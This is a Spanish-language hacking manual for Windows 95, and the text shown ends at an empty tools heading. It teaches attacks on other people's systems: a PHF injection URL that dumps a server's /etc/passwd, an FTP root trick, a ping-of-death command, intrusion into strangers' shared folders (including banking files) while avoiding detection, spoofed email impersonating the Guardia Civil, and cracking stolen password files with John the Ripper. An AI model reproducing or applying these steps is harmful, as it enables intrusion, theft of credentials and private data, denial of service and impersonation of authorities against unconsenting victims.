Manual Hacker con Windows

Hacking con Güindous

  1. Que es esta guía exactamente ?
  2. Descripción general de Windows
    • Seguridad en Windows
  3. Protocolo TCP/IP y demás historias
    • Puertos
    • Ftp
    • Telnet
  4. Hacking básico en Windows
    • Phf
    • Ftp
    • Ping de la muerte
    • Recursos compartidos
    • Fake Mail con el Telnet
    • Cambiando el entorno
    • Finger
    • Whois
    • Tracert
  5. Utilización de tools
    • SkamWerks Lab versión 1.1b
    • WaReZ! Versión 95.12.31
    • John the Ripper v1.4
    • Gobbler v 2.1
    • Modificando el WS_FTP
    • Sharepasswd
    • Snadboy’s Revelation v1.1
    • Keylog95
    • Glide
    • Win95 AnonyMail v 1.0
    • Hacker’s Utility, V 1.02
    • Haktek v1.1
    • Claymore Brute Force
  6. Medidas de seguridad
    • Protegiendo nuestro ordenador
      • Ataques típicos a nuestro Windows
      • Encriptacion De Nuestra Información
      • Eliminar información de forma segura
      • Eliminación de virus
    • Protegiendo nuestras acciones
      • Borrando nuestras huellas
      • Encriptando nuestro correo
  7. Sugerencias para un mejor hacking
  8. Obtener Información

 

1. ¿Que es esta guía exactamente?

Esta guía esta enfocado hacia todo aquel que quiere ser hacker pero no quiere aprender unix o no lo sabe manejar (grave error). Pues por esta razon esta guia esta enfocada a los usuarios de windows, principalmente los de win95. Por el contrario esta guia no se dedicara al NT o Unix, aunque por supuesto se hara referencia a estos sistemas sobre todo cuando son estos mismos Sistemas Operativos en los cuales se centraran nuestros actos, supuestamente legales 🙂

Todo esto que digo puede sonar tonterias y puedes pensar que en win95 no podras llegar a ser un gran hacker porque es necesario conocer Unix, y estoy totalmente de acuerdo, pero solo pretendo dar una oportunidad para hacer sus pinitos a aquellos que solo saber usar win95, yo por mi parte aconsejo aprender unix por varias razones que no viene a cuento en esta guia.

Con esta guia te convertiras en un magnifico Hacker usando un sistema que no es propenso al hacking. Como es normal al usar win95 estaremos muy limitados en muchos aspectos pero podras aprender por ejemplo, algunos bug que podras usar en tu favor, la utilizacion de diversas herramientas hacker que no estan disponibles generalemente en win95 y ademas a usar los recursos que te ofrece Internet en tu favor, abreviando un poco tanta charla, llegaras a conocer la red de una forma diferente y a manejar win95 de forma distinta a lo conocido hasta ahora.

 

2. Descripcion general de Windows

Como todos sabemos el windows95 es un popular sistema operativo de la casa Microsoft, el cual es conocido tanto por sus adepto ya que es muy sencillo y vistoso pero al igual tambien es muy conocido por su inseguridad en casi todos sus aspectos, ademas no ofrece tanta versativilidad como otros sistemas operativos. Por ejemplo este es el caso de su “Multitarea” la cual es virtual y no real, si quieres hacer la prueba pon en marcha el defrag y ejecuta otro programa 🙂 y veras esa famosa Multitarea.

El win95 es un sistema operativo de 32 bits multitarea, que es muy comodo para la gente que busca facilidad, pero no te engañes pensando que es un sistema ideal para Internet, puede que para un usuario convencional le sea estupendo pero para un Hacker se queda muy corto de calle, ya que le falta muchos servicios que otros sistemas operativos si traen como el que ya tantas veces he repetido, el Unix (se nota que me encanta?? 🙂

Aqui os dejo de dar la murga sobre win95 ya que este texto no esta destinado a hablar sobre este sistema sino a usarlo para hackear. Ademas no creo que este contando nada nuevo sobre windows o sea que mejor me callo y si no sabes mucho sobre win95, pues ya sabes comprate un libro.

 

2a. Seguridad en Windows

Como todos sabemos la seguridad en win95 es nula, es decir, win95 no tiene seguridad por si mismo, un claro ejemplo de esto que es las ventanas que nos piden un password las podemos cerrar pulsando sobre la X o tambien nos basta con pulsar ctrl+atl+supr, con lo que nos salteremo esta ventana sin meter ningun password.

Por eso para que nuestro ventanas (nombre que se le da a win95:) tendremos que instalarle algun paquete de seguridad disponible por la red, que hay muchos y buenos y lo mejor es que son Freeware (gratis) aunque siempre puedes comprar algun paquete comercial de seguridad, en mi opinion alguna veces una tonteria, ya que nos pueden cobrar un precio abusivo y cuando llega la oportunidad de demostrar su calidad nos falla, ya que no hay nada seguro 100%

Proteger nuestro win95 es cosa de cada uno pero tranquilidad, que la cosa no es muy dificil, es cuestion de estar atento a las novedades, en otras palabras estar informado. Mas abajo ya te entereras de estas cosas.

 

3. Protocolo TCP/IP y demas historias

El protocolo TCP/IP, es el mas usado y seguramente no lo sabias, ya que engloba casi todos los servicios que solemos usar como por ejemplo cuando hacemos telnet, mail, ftp o cualquier cosa.

TCP/IP proviene de Transmission Control Protocol y Internet Protocol respectivamente. Por fortuna para los usuarios de win95, este protocolo ya viene incorporado nativamente en el sistema, al contrario que ocurria con el windows 3.x, el cual lo teniamos que instalar para poder conectar a Internet.

Como has podido comprobar en realidad son 2 protocolos pero que estan unidos, el primero o sea el TCP es el encargado de las comunicaciones y de la transmision de los paquetes cuando estamos conectados a un servidor. El IP es el encargado de que los paquetes llegen a destino por orden aunque tomen caminos diferentes.

Diagrama del TCP

Cliente

El cliente le envia una…

Servidor

 

solicitud de conexión

 
 

especificando el puerto

 
 

de conexión al servidor

 

Cliente

El servidor le responde…

Servidor

 

que conoce su peticion

 
 

de conexión

 

Cliente

El cliente le devuelve…

Servidor

 

otra vez la peticion y

 
 

el circuito ya esta

 
 

abierto

 

Diagrama del IP

Informacion general de cabezera Direccion IP de origen Direccion IP de destino Datos

Pues aqui se acaba la explicacion basica de este protocolo, para el que este interesado en profundizar le remito a que se pille el RFC 1180 o un fichero disponible en multitud de servidores.

 

3a. Puertos

Antes ya os he explicado muy brevemente la comunicación del protocolo en cuestion. Pues ahora os pongo una extensa lista sobre los distintos puertos y sus servicios correspondientes.

  • echo 7/tcp
  • echo 7/udp
  • discard 9/tcp sink null
  • discard 9/udp sink null
  • systat 11/tcp
  • systat 11/tcp users
  • daytime 13/tcp
  • daytime 13/udp
  • netstat 15/tcp
  • qotd 17/tcp quote
  • qotd 17/udp quote
  • chargen 19/tcp ttytst source
  • chargen 19/udp ttytst source
  • ftp-data 20/tcp
  • ftp 21/tcp
  • telnet 23/tcp
  • smtp 25/tcp mail
  • time 37/tcp timserver
  • time 37/udp timserver
  • rlp 39/udp resource # resource location
  • name 42/tcp nameserver
  • name 42/udp nameserver
  • whois 43/tcp nicname # usually to sri-nic
  • domain 53/tcp nameserver # name-domain server
  • domain 53/udp nameserver
  • nameserver 53/tcp domain # name-domain server
  • nameserver 53/udp domain
  • mtp 57/tcp # deprecated
  • bootp 67/udp # boot program server
  • tftp 69/udp
  • rje 77/tcp netrjs
  • finger 79/tcp
  • link 87/tcp ttylink
  • supdup 95/tcp
  • hostnames 101/tcp hostname # usually from sri-nic
  • iso-tsap 102/tcp
  • dictionary 103/tcp webster
  • x400 103/tcp # ISO Mail
  • x400-snd 104/tcp
  • csnet-ns 105/tcp
  • pop 109/tcp postoffice
  • pop2 109/tcp # Post Office
  • pop3 110/tcp postoffice
  • portmap 111/tcp
  • portmap 111/udp
  • sunrpc 111/tcp
  • sunrpc 111/udp
  • auth 113/tcp authentication
  • sftp 115/tcp
  • path 117/tcp
  • uucp-path 117/tcp
  • nntp 119/tcp usenet # Network News Transfer
  • ntp 123/udp ntpd ntp # network time protocol (exp)
  • nbname 137/udp
  • nbdatagram 138/udp
  • nbsession 139/tcp
  • NeWS 144/tcp news
  • sgmp 153/udp sgmp
  • tcprepo 158/tcp repository # PCMAIL
  • snmp 161/udp snmp
  • snmp-trap 162/udp snmp
  • print-srv 170/tcp # network PostScript
  • vmnet 175/tcp
  • load 315/udp
  • vmnet0 400/tcp
  • sytek 500/udp
  • biff 512/udp comsat
  • exec 512/tcp
  • login 513/tcp
  • who 513/udp whod
  • shell 514/tcp cmd # no passwords used
  • syslog 514/udp
  • printer 515/tcp spooler # line printer spooler
  • talk 517/udp
  • ntalk 518/udp
  • efs 520/tcp # for LucasFilm
  • route 520/udp router routed
  • timed 525/udp timeserver
  • tempo 526/tcp newdate
  • courier 530/tcp rpc
  • conference 531/tcp chat
  • rvd-control 531/udp MIT disk
  • netnews 532/tcp readnews
  • netwall 533/udp # -for emergency broadcasts
  • uucp 540/tcp uucpd # uucp daemon
  • klogin 543/tcp # Kerberos authenticated rlogin
  • kshell 544/tcp cmd # and remote shell
  • new-rwho 550/udp new-who # experimental
  • remotefs 556/tcp rfs_server rfs# Brunhoff remote filesystem
  • rmonitor 560/udp rmonitord # experimental
  • monitor 561/udp # experimental
  • garcon 600/tcp
  • maitrd 601/tcp
  • busboy 602/tcp
  • acctmaster 700/udp
  • acctslave 701/udp
  • acct 702/udp
  • acctlogin 703/udp
  • acctprinter 704/udp
  • elcsd 704/udp # errlog
  • acctinfo 705/udp
  • acctslave2 706/udp
  • acctdisk 707/udp
  • kerberos 750/tcp kdc # Kerberos authentication–tcp
  • kerberos 750/udp kdc # Kerberos authentication–udp
  • kerberos_master 751/tcp # Kerberos authentication
  • kerberos_master 751/udp # Kerberos authentication
  • passwd_server 752/udp # Kerberos passwd server
  • userreg_server 753/udp # Kerberos userreg server
  • krb_prop 754/tcp # Kerberos slave propagation
  • erlogin 888/tcp # Login and environment passing
  • kpop 1109/tcp # Pop with Kerberos
  • phone 1167/udp
  • ingreslock 1524/tcp
  • maze 1666/udp
  • nfs 2049/udp # sun nfs
  • knetd 2053/tcp # Kerberos de-multiplexor
  • eklogin 2105/tcp # Kerberos encrypted rlogin
  • rmt 5555/tcp rmtd
  • mtb 5556/tcp mtbd # mtb backup
  • man 9535/tcp # remote man server
  • w 9536/tcp
  • mantst 9537/tcp # remote man server, testing
  • bnews 10000/tcp
  • rscs0 10000/udp
  • queue 10001/tcp
  • rscs1 10001/udp
  • poker 10002/tcp
  • rscs2 10002/udp
  • gateway 10003/tcp
  • rscs3 10003/udp
  • remp 10004/tcp
  • rscs4 10004/udp
  • rscs5 10005/udp
  • rscs6 10006/udp
  • rscs7 10007/udp
  • rscs8 10008/udp
  • rscs9 10009/udp
  • rscsa 10010/udp
  • rscsb 10011/udp
  • qmaster 10012/tcp
  • qmaster 10012/udp

La verdad es que no te quejaras 🙂 de esta lista. Si quieres mas informacion sobre los puertos con su debida explicacion mirate el RFC 1060.

 

3b. Ftp

Supongo que a estas alturas sabras lo que es el FTP, File Transfer Protocol o sea Protocolo de Transferencia de Ficheros y como podras observar en el listado de los puertos al FTP le corresponde el 21. Este servicio hay que conocerlo muy bien ya que ademas que nos sirve para subir o bajar ficheros tambien nos puede ayuda en nuestros propositos :), por supuesto el hacking.

Sino dispones de ningun cliente FTP, el propio win95 lleva incorporado uno, el unico problema es que no es muy vistoso ya que funciona en modo MS-DOS pero es muy versatil y perfecto para nosotros. Para ejecutarlo basta que activemos una ventana MS-DOS y en la linea de comados escribamos FTP y se pondra en modo FTP. Un ejemplo seria esto:


c:\>ftp   <- Escribimos FTP
ftp>      <- activado el modo FTP

Si no sabes manejarlo, escribiendo un “?” o “help” saldran todos los comandos disponibles del FTP, como no viene a cuento no los explicare pero buscando por hay podras hallar informacion de lo que hace cada cosa pero lo mejor es que lo averigues tu solito.

 

3c. Telnet

Por suerte los usuarios de win95 con el telnet tienen mas suerte o menos segun se mire, ya que el servico de Telnet de win95 que tambien esta incorporado en el sistema, es muy facil de manejar y ademas tiene ventana propia. Por eso si ejecutamos telnet se abrira una ventana y lo unico que tenemos que hacer es ir al menu en la opcion “conectar” y dentro de aquí la de “sistema remoto”, entonces se activara otra ventana en la que nos saldra tres opciones, la primera “nombre de host” es donde queremos conectar, “puerto” a que puerto conectamos, por defecto el 23 y por ultimo tenemos “tipo de terminal” que no hace falta cambiarlo.

El telnet es importante ya que es asi como entramos a una cuenta en un servidor y podremos hacer lo que tengamos permitido en el sistema. Logicamente entraremos en una cuenta si tenemos el login y password.

 

4. Hacking basico en Windows

Por fin ya se a acabo el latazo de la explicacion de como moverse por win95. Ahora ya podemos empezar a jugar un poco por inet :), siempre por puro placer pero jamas con malos fines.

En esta seccion os explicare varias maneras de hacking usando el win95 a pelo o sea sin utilizar ninguna herramienta externa.

 

4a. Phf

La primera tecnica ya es muy conocida y la verdad es que tendremos suerte si nos funciona pero todavia sigue vigente y doy fe de ello }:-) solo hay que saber buscar y tener paciencia.

Para que esto nos funcione solo tenemos que tener un navegador instalado en nuesto win95, por defecto suele venir el IE o sea que no podras decir que no tienes, siempre y cuando hallas instalado los paquetes extras.

Lo que tenemos que hacer es ir con nuestro navegador a algun servidor que corra sobre unix (muchos). Conectamos con un servidor en cuestion, www.victima.com, ya estamos viendo su web, llegados aqui, a esa linea le añadimos:


http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Como ya he dicho si todo sale bien nos aparecera el fichero de passwords del servidor con lo que solo nos queda grabarlo en nuestro HD. Por supuesto el PHF tiene muchas variantes por eso te aconsejo que busce algo que profundice en esta tecnica al igual que tambien busce informacion sobre el fichero passwd de unix para comprenderlo.

 

4b. Ftp

Antes ya te he explicado el funcionamiento del FTP de win95, ahora lo usaremos para sacer el fichero de password de un servidor. Desde una ventana del MS-DOS llamamos al programa FTP y escribimos:


ftp> open victima.com
Conect to victima.com
220 victim.com FTP server ready
ftp> quote user ftp
331 Guest login ok, send ident as password
ftp> quote cwd ~root
530 Please login with USER and PASS
ftp> quote pass ftp
230 Guest login ok, access restrictions apply
ftp> dir    (o lo que queramos)

Y como siempre es el caso si todo sale bien estaremos metidos en el sistema como root (en lenguaje unix significa el superusuario, o sea el que controla el servidor). Por desgracia esta tecnica es muy antigua por lo que mas seguro no funcionara pero todo es posible.

 

4c. Ping de la muerte

Esta tecnica no es propia de un Hacker sino de un Lamer (no quiero decir Cracker para no ofender a nadie 🙂 ya que unicamente sirve para tirar un servidor o sea que se desconecta de Internet y esto puede representar grandes perdidas a una empresa. Con esto solo os quiero decir que aunque aqui os lo explicare no es cuestion que lo useis por Internet atacando servidores.

La utilidad Ping sirve principalmente para saber si un servidor esta activo y ademas podemos calcular el trafico en la red segun el tiempo de su respuesta. Basicamente se le envia un paquete a un servidor y este nos contesta, solo que si se le envia un paquete muy grande puede llegar desordenado, por lo que el servidor pide al origen que le vuelva a enviar una parte o la totalidad del paquete, por lo que se produce un datagrama del ping muy grande y producira su caida. Para ejecutar este ataque solo tenemos que escribir:


c:\>ping -l 65510 victima.com

Pues esta simple linea es muy destructiva, por lo que tened cuidado y antes de hacer tonterias leed la parte sobre seguridad de la guia.

 

4d. Recursos compartidos

Como win95 NO tiene seguridad nos permite colarnos en el disco duro de otra persona por Internet y lo mejor del caso es que esta tecnica nos la proporciona los propios programas del win95. Por supuesto no todo es tan sencillo ya que hay que cumplir unos requisitos. Esto se debe a una mala configuracion del propio usuario al no configurar adecuadamente los recursos compartidos de su red corriendo sobre win95.

Para colarnos en el HD de otro ordenador debenos tener nuestro ordenador bien configurado, o sea el compartir recursos bien puesto y tambien tener el Netbios instalado.

Para configurarlo, tenemos que tener activado la opcion de “compartir ficheros e impresoras” en MIPC->Panel de Control->Red. SI por el caso la opcion esta desactivada simplemente pulsamos el boton de “añadir” y añadimos el servicio “Compartir ficheros e impresoras en redes Microsoft”. En la misma ventana, debemos tener el “Primer inicio de sesion” en “Cliente para redes Microsoft”. Tambien tiene que estar activado el “Cliente para redes Microsoft”, que viene por defecto en MIPC->Acceso Telefonico a Redes->Conexion a Inet que usaremos->boton derecho-> propiedades, debiendo estar activada la casilla “conectarse a la red”.

Ahora ya podemos ponernos manos a la obra, entonces volvemos a una ventana del MS-DOS y ejecutamos:


c:\>nbtstat -A (IP DE LA VICTIMA)
NetBIOS Remote Machine Name Table

    Name         Type         Status
---------------------------------------------
VICTIMAMACHINE   <00>    UNIQUE Registered
VICTIMAGROUP     <00>    GROUP Registered
VICTIMAMACHINE   <03>    UNIQUE Registered
VICTIMAMACHINE   <20>    UNIQUE Registered
VICTIMAGROUP     <1E>    GROUP Registered

MAC Address = 44-45-53-54-00-00

Cuando ejecutamos este comando nos saldra una tabla como esta y el primer ‘UNIQUE’ de tipo <00> es el nombre de la victima y como puedes ver la maquina se llama VICTIMAMACHINE.

Entonces ahora creamos/editamos el archivo LMHOSTS, si por el caso encontrais uno que pone LMHOSTS.SAM no lo toqueis, poniendo la direccion IP y el nombre de la maquina en cuestion, esto seria de la siguiente forma:


c:\>edit c:\windows\system32\LMHOSTS

(Añadimos) VICTIMAMACHINE

Entonces cerramos el fichero y desde un ventana del MS-DOS ejecutamos un comando para añadir el ordenador de la victima a nuestro Netbios y esto seria de la siguiente forma:


c:\>NBTSTAT -R

Ahora nos interesa saber que recursos comparte la victima y esto tampoco nos traera complicacion alguna:


c:\>net view \\VICTIMAMACHINE

Shared resources at \\VICTIMAMACHINE

Sharename   Type    Comment
-----------------------------------------
BANCO       Disk

Y como podemos observar comparte una carpeta llamada BANCO.

Ahora ya podemos operar como si fuese una terminal mas en nuestra red local sobre win95. Ya solo nos queda ejecutar el comando que querramos, si por ejemplo queremos ver el contenido, solo tenemos que escribir:


c:\> dir \\VICTIMAMACHINE\BANCO

O para leer cualquier fichero de la carpeta:


c:\> type \\VICTIMAMACHINE\BANCO\CUENTABANCARIA.TXT

Si queremos conectar al recurso compartido de forma grafica (o sea con una ventana y no seguir usando el MS-DOS), solo tenemos que pulsar INICIO->BUSCAR PC y dentremos el PC remoto pero esto solo es posible si hemos añadido la VICTIMAMACHINE a una unidad de red a la que podamos llamar, deberemos ejecutar:


c:\>NET USE e: \\MIPC\WINDOWS

Esta tecnica solo funciona si la maquina remota ejecuta win95 o win 3.11 y ademas comparte las carpetas sin contraseña en modo “Acceso a nivel compartido” MIPC->Panel de control->Red | Control de acceso. Si utilizase el “Acceso a nivel de usuario” nuestro grupo debe estar autorizado en esa maquina. Podemos probar a intentar insertar el grupo de nuestra maquina para que este autorizada, esto lo conseguiremos con el Regedit, por desgracia los sistemas win95 y OSR2 que estan ejecutando el Servidor Web Personal de Microsoft desactivan esta posibilidad de acceso remoto tras informar de la conveniencia de hacerlo al usuario, ya que el servidor web obliga a compartir carpetas aun sin tener red local.

Logicamente un usuario que haya tenido el despiste de conectarse a Internet con carpetas compartidas no toma luego medidas de control sobre quien entra en su maquina. Pero no hay que hacer ilusiones ya que podemos ser pillados si por ejemplo un usuario ejecuta el programa Netwatch, que muestra los usuarios conectados a nuestra computadora en cada momento y por supuesto el nombre de las computadoras por lo que es aconsejable cambiar el nombre de nuestra computadora usando el Regedit. Si nuestra maquina se llama HACKERNOBO cambiamos todas la cadenas donde aperezca este nombre con el Regedit a un nombre menos sospechoso.

Si no conectamos la VICTIMAMACHINE como una unidad mas a nuestra computadora no nos tendremos que preocupar del Netwatch, asi conseguiremos una cierta seguridad personal ya que lo mas seguro, la VICTIMAMACHINE no se dara cuenta de nuestra entrada. Tambien hay que decir que si la VICTIMAMACHINE quiere apagar su computadora le saldra el mensaje del tipo “hay otros usuarios conectados a su ordenador, si apaga se desconectaran” si ocurre esto seremos pillados.

 

4e. Fake Mail con Telnet

Esta tecnica nos ayuda a suplantar la direccion de correo electronica que querramos :). La verdad es que tiene pocos usos, en mi opinion debido a una serie de razones pero siempre puede servir para gastar una buena broma enviando aun amigo un mail del director de la Universidad diciendo que ha sido expulsado por pirata }:-) y no te cuento si es un mail de la Guardia Civil.

La verdad es que es muy sencillo de hacer pero por supuesto habra que tomar unas ciertas medidas de seguridad, que ya explicare luego. Lo primero que tenemos que hacer es ejecutar el cliente Telnet (sobre el manejo del Telnet ya lo explique mas arriba) y donde pone “puerto” en vez de poner el puerto 23 pondremos el 25 que corresponde al puerto del mail y esperamos a que nos conectemos a ese puerto, cuando conectemos nos saldra un mensaje y esta esperando a que pulsemoa alguna tecla:


220 Howdy From mail.airmail.net running Smail 3.1.30.16 (ESMTP)
[d/o/u/g] ready at Thu, 10 Oct 96 00:03:17 -500 (CDT)

Muchas veces lo que podemos hacer es escribir “help” y saldran todos los comandos, tambien podemos escribir “echo” y la maquina nos contestara que esta lista. Para escribir un mail hay que seguir una serie de pasos:


mail from:gc.uco@mad.servicom.es   <- ponemos de donde viene

El servidor nos contesta:
250 <gc.uco@mad.servicom.es> ... Sender Okay

Ahora escribimos:
rcpt to:nob_ody@xxxxxxxx.com   <- a quien se lo enviamos

El servidor nos contesta:
250 <nob_ody@xxxxxxxx.com> ... Recipiant Okay

Ahora escribimos:
data

El servidor nos contesta:
354 Enter mail, end with "." on a line by itself

Ahora escribimos:
To: nob_ody@xxxxxxxx.com
From: gc.uco@mad.servicom.es
Subject: Te queremos!!
Bueno nobody, solo te queremos decir que nos gusta
tu trabajo y te querremos fichar para el departamento.

Direccion General de la Guardia Civil
. <- para terminar el mail

El servidor nos contesta:
250 Mail accepted

Ahora escribimos:
quit   <- ya esta todo listo :)

Pues ves como es realmente simple!! Pero antes de empezar a jugar con esta tecnica tenemos que asegurarnos que el servidor de mail no regrista nuestro IP, esto lo podremos averiguar si enviamos un mail de prueba a alguna cuenta anomima que tengamos. Si vemos que en la cabecera del mail sale nuestro IP ese servidor no sirve. Hay listas disponibles por Internet sobre servidores que permiten hacer esto.

 

4f. Cambiando el entorno

Esta tecnica no es que sea propia del hacking ya que solo sirve para cambiar la pantalla de inicio o la de finalizar windows. Los logos de windows tienen un formato BMP 320X400 pero estan clamuflados en ficheros con extension SYS pero siguen siendo realmente BMP’S.

El logo del principio de windows (ya sabes el de las nubes) lo podeis encontrar como:


c:\>logo.sys

Si no encuentras este fichero, entonces lo que tenemos que hacer es crearlo y grabarlo alli mismo y cuando windows vuelva a reiniciar usara nuestro grafico y si lo volvemos a quitar, usara el de siempre. El logo del final (cuando cierra windows) esta en el directorio windows y lo podemos encontrar como:


c:\windows>logos.sys

Logicamente es obligatorio que los graficos que querramos sustituir tengan de tamaño 320×400 y sean ficheros BMP’S. Conviene que les pongamos el atributo de ocultos, que esto se hace con el comando Attrib, por ejemplo:


c:\windows>attrib +h logos.sys    <- lo oculta

c:\windows>attrib -h logos.sys    <- lo hace visible

 

4g. Finger

La utilidad Finger, muy usada en Unix, en realidad no esta disponible en Win95 pero como somos Hackers nosotros si que somos capaces desde Win95. Finger se utiliza para obtener informacion de un servidor. Puede parecer una tonteria pero es util, por ejemplo, podemos empezar a sacar los Login’s de los usuarios y empezar a adivinar sus passwords, tambien podemos vigilar al root del servidor (cada cuanto tiempo conecta, cuando fue la ultima vez que estuvo, etc…) y asi muchas cosas.

La verdad es que para usar el Finger usaremos cualquier navegador, IE o Netscape. Simplemete nos dirigimos a un url un poco especial, es un web que permite hacer Finger a cualquier host y nos deveulve los resultados. Esto se conoce como “Finger Gateway”. El url del web es:


http://www.hgp.med.umich.edu/cgi-bin/finger

 

4h. Whois

La utilidad Whois, al igual que Finger es muy comun en Unix y no esta disponible en Win95 pero comos somos asi de listos saldremos del apuro. Tambien sirve para pedir informacion de un servidor pero no el igual que Finger, ya que se diferencian en el tipo de informacion, el finger se suele utilizar mucho para buscar direcciones de correo mientras que el Whois, para averiguar informacion sobre un servidor en concreto.

Para usar esta utilidad, ejecutamos el Telnet y nos dirigimos a un host muy especial:


c:\>telnet whois.internic.net

Por supuesto Internic, una empresa privada norte ameriacana que se encarga de controlar los dominios de Internet, y podemos usar su base de datos para pedir informacion sobre un servidor.

Cuando conectemos a la base de datos de Internic, escribimos “Whois nombre_del_servidor” y nos sacara la informacion.


telnet InterNIC > whois aol.com

Connecting to the rs Database . . . . . .
Connected to the rs Database

America Online (AOL-DOM)
12100 Sunrise Valley Drive
Reston, Virginia 22091
USA
Domain Name: AOL.COM

Administrative Contact:
O'Donnell, David B (DBO3) PMDAtropos@AOL.COM
703/453-4255 (FAX) 703/453-4102

Technical Contact, Zone Contact:
America Online (AOL-NOC) trouble@aol.net
703-453-5862

Billing Contact:
Barrett, Joe (JB4302) BarrettJG@AOL.COM
703-453-4160 (FAX) 703-453-4001

Record last updated on 13-Mar-97.
Record created on 22-Jun-95.
Domain servers in listed order:
DNS-01.AOL.COM 152.163.199.42
DNS-02.AOL.COM 152.163.199.56
DNS-AOL.ANS.NET 198.83.210.28

Como vemos hemos pedido informacion sobre AOL.COM, American On-Line. Y esto es lo que nos ha sacado Internic. Al final podemos ver los dominios asociados a AOL. Pues sencillo y muy util, el whois.

 

4i. Tracert

Esta utilidad que si esta implementada en Win95, nos sirve para calcular el tiempo que tarda un paquete de un servidor hasta otro y ademas podemos saber por cuantos servidores pasa. Muy util para sacar posibles servidores victimas si nos llaman la atencion.

Para usar esta utilidad, abrimos una ventana MS-DOS y escribimos Tracert, a secas y nos sacara el menu de opciones disponible.


c:\>tracert

Usage:tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

Options:
         -d Do not resolve addresses to hostnames.
         -h maximum_hops Maximum number of hops to search for target.
         -j host-list Loose source route along host-list.
         -w timeout Wait timeout milliseconds for each reply.

Pues como veis, no tiene ningun misterio las opciones del Tracert, por lo que ya aprendereis su uso con la experiencia. Ahora escribimos una direccion IP cuando invocamos al Tracert, de la siguente forma:


c:\>tracert 198.83.210.28

Tracing route to dns-aol.ans.net [198.83.210.28] over a maximum of 30 hops:

1 * * * Request timed out.
2 138 ms 145 ms 135 ms 204.134.78.201
3 212 ms 191 ms 181 ms glory-cyberport.nm.westnet.net [204.134.78.33]
4 166 ms 228 ms 189 ms enss365.nm.org [129.121.1.3]
5 148 ms 138 ms 177 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45]
6 284 ms 296 ms 178 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221]
7 298 ms 279 ms 277 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9]
8 238 ms 234 ms 263 ms h14.t104-0.Atlanta.t3.ans.net [140.223.65.18]
9 301 ms 257 ms 250 ms dns-aol.ans.net [198.83.210.28]

Trace complete.

Aqui podeis por todos lo sitios que ha pasado el paquete que hemos enviado al IP 198.83.210.28. Y asi podemos con todos los servidores de Internet.

 

5. Utilizacion de tools

En esta seccion os explicare diferentes tools que podeis usar para hacking, por supuesto hay que buscarlas por Internet, no pondre el url para encontrarlas, ya que a lo mejor cuando estas leyendo esta guia ya no existe, pero os dire como se llama el programa asi lo podras buscar ademas esto tambien te servira para que te espabiles y sepas buscar cosas por Internet.

Logicamente esta guia es para win95 y los programas que explicare seran para win95 pero tambien me veo obligado a explicar varias tools que no son de win95 propiamente sino de MS-DOS pero que son necesarias y ademas corren en modo MS-DOS de win95.

 

5a. Skamwerks lab version 1.1b

Este programa es un util herramienta que nos ayuda a crear de forma rapida virus macro, o sea para el Word. Tiene que estar instalado el Word para que este programa nos funcione.

Al ejecutar el programa nos aparecera una ventana con 2 botones los caules son las 2 opciones que podemos escoger “Virii Wizard” o “Advanced Users”. El “virii Wizard” es la opcion, si no sabemos muy bien como crear un virus de macro ya que nos moveremos por varios menus y crearemos un virus de forma rapida y facilmente. La otra opcion, “Advanced Users” es para aquellos que sepan de Word Basic, el lenguaje de programacion del Word, ya que podemos meter codigo Word basic directamente y asi crear un virus a nuestro gusto.

Como este no es un curso sobre virus, no me voy a enrollar sobre la utilizacion exacta del programa. En mi opinion es un buen programa, en ingles 🙂 programado en C++.

 

5b. WaReZ! Version 95.12.31

Este programa es un cliente FTP que muestra los directorios ocultos en un servidor, util si nos metemos en algun sitio sospechoso. Como ya es costumbre para que nos funcione tenemos que tener instalado el WINSOCK.DLL correctamente.

Al igual que antes tampoco hay que explicar mucho sobre este programa ya que su Interface es igual que el cliente WS_FTP que suele ser muy familiar para todos, por lo que no encontraremos mucha dificultad en su manejo.

 

5c. John the ripper v1.4

Esta magnifica tool no es propiamente de win95 pero seria un pecado no hablar de ella, cuando corre sobre win95 de maravilla (bueno, dentro de lo que cabe :). John, como se le conoce, sirve para crackear un fichero unix de password (el conocido etc/passwd, como ya digo aprended algo de unix).

Cuando robemos un fichero passwd de un servidor, lo que tenemos que hacer es usar el John para sacar cuentas, pero no solo basta esto sino tambien necesitamos un buen diccionario y una combinacion de suerte y paciencia.

Supongamos que ya tenemos todo (fichero passwd, John y un diccionario), entonces tenemos que abrir una ventana MS-DOS y llamar al John, si lo llamamos sin nigun parametro nos saldran un listado de opciones, esto seria asi:


c:\>john

Usage: john [flags] [passwd files]

Flags:-pwfile:<file>[,..] specify passwd file(s)
      -wordfile:<file> -stdin wordlist mode, read words from <file> or stdin
      -rules enable rules for wordlist mode
      -incremental[:<mode>] incremental mode [using john.ini entry <mode>]
      -single single crack mode
      -external:<mode> external mode, using john.ini entry <mode>
      -restore[:<file>] restore session [from <file>]
      -makechars:<file> make a charset, <file> will be overwritten
      -show show cracked passwords
      -test perform a benchmark
      -users:<login|uid>[,..] crack this (these) user(s) only
      -shells:[!]<shell>[,..] crack users with this (these) shell(s) only
      -salts:[!]<count> crack salts with at least <count> accounts only
      -lamesalts assume plaintext passwords were used as salts
      -timeout:<time> abort session after a period of <time> minutes
      -list list each word
      -beep -quiet beep or don't beep when a password is found
      -noname -nohash don't use memory for login names or hash tables
      -des -md5 force DES or MD5 mode

Veis? :), y como siempre no explicare que es cada opcion os lo dejo para que jugueis vosotros solitos!. Ahora, ya podemos crackear el fichero, para ello escogermos la opcion “single”, ya que el john no nos pedira un fichero de diccionario, si fuese el caso que no tenemos, ponemos:


c:\>john -single passwd

Y el John se pondra a trabajar, cuando halla acabo creara un fichero llamado “John.pot” donde se almacenaran los passwords encriptados con su correspodiente passwords desencriptado (esta definicion no es del todo correcta pero es para que lo entendais) y ya tenemos unas cuentas de acceso al servidor.

Este metodo va bien para la primera pasado con el John pero luego conviene usar un diccionario y con el diccionario seria de la siguiente manera:


c:\>john -wordfile:spain.txt passwd

El John seguiria el mismo proceso antes descrito, por supuesto si el fichero “John.pot” esta creado ya, les añadira los resultados obtenidos a este fichero, por cierto este fichero tiene atributo de solo lectura.

Pues aqui se acaba la explicacion del John, que seguro que ya aprendereis a manejar correctamente. Referente a los diccionarios hay varias herramientas que corren bajo MS-DOS que crean diccionarios o tambien podeis buscar por Internet ya que hay varios web’s llenos de diccionarios.

 

5d. Gobbler v 2.1

